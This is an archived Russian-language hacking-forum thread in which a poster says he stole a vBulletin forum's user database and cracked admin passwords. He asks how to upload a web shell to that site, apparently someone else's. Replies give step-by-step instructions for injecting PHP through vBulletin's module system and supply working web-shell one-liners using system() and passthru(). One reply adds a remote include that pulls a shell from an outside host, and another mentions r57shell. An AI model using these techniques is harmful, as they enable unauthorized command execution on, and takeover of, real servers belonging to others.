ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
Как залить шелл в vBulletin v3.6.0? |
23.08.2006, 14:32
|
|
Новичок
Регистрация: 05.07.2006
Сообщений: 23
Провел на форуме:
92773
Репутация:
1
|
|
Как залить шелл в vBulletin v3.6.0?
Вобщем, есть форум где стоит булка версии 3.6.0.
Админ ище настраивает и пока не почитстил install.
Т.е. пример: http://target.ru/forum/install/upgrade_301.php?step=бла бла бла
Скомуниздил БД юзров, подобрал пасы. 
Имею доступ к админке но залить шелл ни как не выходит. 
Приведеные способы на форуме не работают
Кто знает как подскажите плизз с меня репа.  |
|
|
23.08.2006, 15:45
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме:
1325772
Репутация:
517
|
|
поиск юзай ) в шаблоны можно пшп код вставлять 
если что - стучи, 236662256 |
|
|
|
23.08.2006, 16:00
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379
Репутация:
3812
|
|
Попробуй так
Способ заливки шелла в vBulletin 3.5.*.
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда
__________________
|
|
|
|
23.08.2006, 21:32
|
|
Новичок
Регистрация: 05.07.2006
Сообщений: 23
Провел на форуме:
92773
Репутация:
1
|
|
Люди вы издеваетесь
Я ведь написал что все приведеные способы на форуме не работают нужно что то новинькое а гугле пабликов на v3.6.0 нету ничего
Мож кто знает что то новенькое? |
|
|
|
23.08.2006, 21:48
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме:
1325772
Репутация:
517
|
|
Сообщение от Elenberg
Люди вы издеваетесь
Я ведь написал что все приведеные способы на форуме не работают нужно что то новинькое а гугле пабликов на v3.6.0 нету ничего
Мож кто знает что то новенькое? щас свой форум обновлю... попробую шелл залить
через модули 99% наверняка можно залить ИМХО
|
|
|
|
23.08.2006, 23:21
|
|
Новичок
Регистрация: 05.07.2006
Сообщений: 23
Провел на форуме:
92773
Репутация:
1
|
|
Может и можна но миниатюрный там ограничение на размер стоит.
При впаривании туда r57shell выдается эго верхняя панель только, та где инфа по серверу.
Тут ужно что то другое искать.  |
|
|
|
23.08.2006, 23:46
|
|
Постоянный
Регистрация: 11.12.2004
Сообщений: 592
Провел на форуме:
2260903
Репутация:
345
|
|
а ты не знал что кроме рст есть например <?system($c);?> и усе, ну разве что подделать немного <?system($_GET['c']);?>, а если вообще красиво
<?
if (!empty($_GET['cmd'])) {
echo '<pre>';
system($_GET['cmd']);
echo '</pre>';
exit;
}
?>
или если есть корявая настройка в php - allow_url_fopen=On, то <? include('http://путь_к_шеллу_рст_без_счетчи ов_нах.txt') ?> |
|
|
|
24.08.2006, 01:34
|
|
Новичок
Регистрация: 05.07.2006
Сообщений: 23
Провел на форуме:
92773
Репутация:
1
|
|
Спасибо max_pain что откликнулся, но даже таким макаром ничего незалить на серв уже пробывал.
Нада не через модули наверно или через другие
Сижу все подряд проверяю 
Последний раз редактировалось Elenberg; 24.08.2006 в 01:43..
|
|
|
|
09.07.2008, 21:28
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
Elenberg
почему нече нельзя залить?
через модули вписываеш <? passthru($cmd) ?>
получаеш доступ в CMD смотриш папки с правами и потом уже заливаеш r57.
|
|
|
|
25.07.2008, 05:29
|
|
Новичок
Регистрация: 03.09.2006
Сообщений: 16
Провел на форуме:
226790
Репутация:
8
|
|
Проблемы с шеллом
У меня та же проблема с шеллом. 
Заливаю в vB 3.5.4 через модули <?system($_GET['c']);?>
но при обращении к www.xz.сom/forumpath/faq.php?cmd=dir
вместо листинга открывается страница с ФАК-ом.
Кто что посоветует? |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
